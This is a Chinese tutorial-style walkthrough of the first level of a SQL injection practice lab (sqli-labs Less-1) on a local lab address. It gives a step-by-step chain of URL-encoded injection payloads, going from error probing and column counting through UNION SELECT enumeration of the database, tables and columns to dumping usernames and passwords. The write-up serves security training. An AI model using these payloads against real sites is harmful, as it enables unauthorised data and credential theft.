文章目录
前言
这篇文章将介绍sql闯关中第一关的通关过程。第一关图片如下。
笔者推荐使用火狐浏览器进行打开,当然本文的基础是在读者已经安装了sql靶场和Wampserver64的基础之上。注意要先打开Wampserver64然后才能打开sql靶场。同时建议读者下载Hackbar这个扩展包,在火狐浏览器中的管理扩展里就能下载,下载扩展中可能会出现以下问题。主要是扩展包是否要付费。这里下载Hackbar V2这个现在是免费的。Hackbar已经变成付费。
闯关过程
1:看是否存在注入漏洞
在浏览器上面输入以下网址
http://192.168.182.30/sql/Less-1/?id=1%27
因为是要在URL上面输入以下网址,所以要进行URL编码。这里%27指代的就是'。即是单引号。
这里显示如下图片。
通过以上报错提示说明存在sql注入漏洞。
2:看属于何种类型的漏洞
sql注入漏洞主要有两种一种是数值型漏洞,另一种是字符型漏洞。
接下来的思路是通过永真式和用永假式进行试探。
在URL上面输入的分别为下面的这两个。
http://192.168.182.30/sql/Less-1/?id=1%20and%201=1
http://192.168.182.30/sql/Less-1/?id=1%20and%201=2
这里%20在url编码格式中显示的是空格。
第一个这个URL显示的图片如下。
第二个这个URL显示的图片如下。
通过这两张图片我们可以看出Less-1存在的sql注入漏洞是字符型漏洞。
3:判断表中存在多少个字段
这里要用到sql中的order by语句,用到的测试URL有两个如下。
http://192.168.182.30/sql/Less-1/?id=1%27%20order%20by%203%23
http://192.168.182.30/sql/Less-1/?id=1%27%20order%20by%204%23
这两个url地址都有用到url编码进行转义,其中%27号是单引号,%20是空格,%23是#
第一个URL地址显示的图片为。
第二个URL地址显示的图片为。
通过这两张图片我们可以看到sql中Less-1当中只有3个字段,因为当判断第4个字段是否存在的时候,这里显示报错。
4:通过字段数爆出表名和版本号
在这的上一步,我们已经知道Less-1中存在3个字段。所以之后将可以通过union来联合注入,填在浏览器上的URL地址如下。
http://192.168.182.30/sql/Less-1/?id=-1%27%20union%20select%201,2,3%23
注意:这里id的值要填为永假的一个值,否则Less-1运行URL地址网页里的内容是不变的。
结果图如下。
接下来进行报表的名字和版本号,运行的URL网址如下。
http://192.168.182.30/sql/Less-1/?id=-1%27%20union%20select%201,database(),version()%23
结果图如下。
这里也就得到了Less-1的库名为security,版本号为5.7.24
5:通过库名爆出数据库中的表名
运行的URL地址如下
http://192.168.182.30/sql/Less1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%23
结果图如下
注意
group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用,分隔。由函数参数(字段名)决定要返回的列。
6:通过表名爆出字段名
运行的URL地址如下
http://192.168.182.30/sql/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27emails%27%23
结果图如下
注意
URL地址中都进行了URL编码。
接下来就可以将table_name中的内容不断地进行修改,其中的值就是我们之前爆出来的表名。
7:爆出字段内容
运行的URL地址如下
http://192.168.182.30/sql/Less-1/?id=-1%27%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20users%23
结果图如下
注意
这里0x3a 在ASCII编码中,十六进制数0x3a对应的字符是":
总结
进行sql注入打靶场时,最重要的就是拿到表中字段的内容。一般是发现已经有SQL注入漏洞,然后进行简单的判断是数值型漏洞还是字符型漏洞,之后判断表中字段的个数。在之后就是爆出库名,表名,字段名。最终爆出字段里的内容。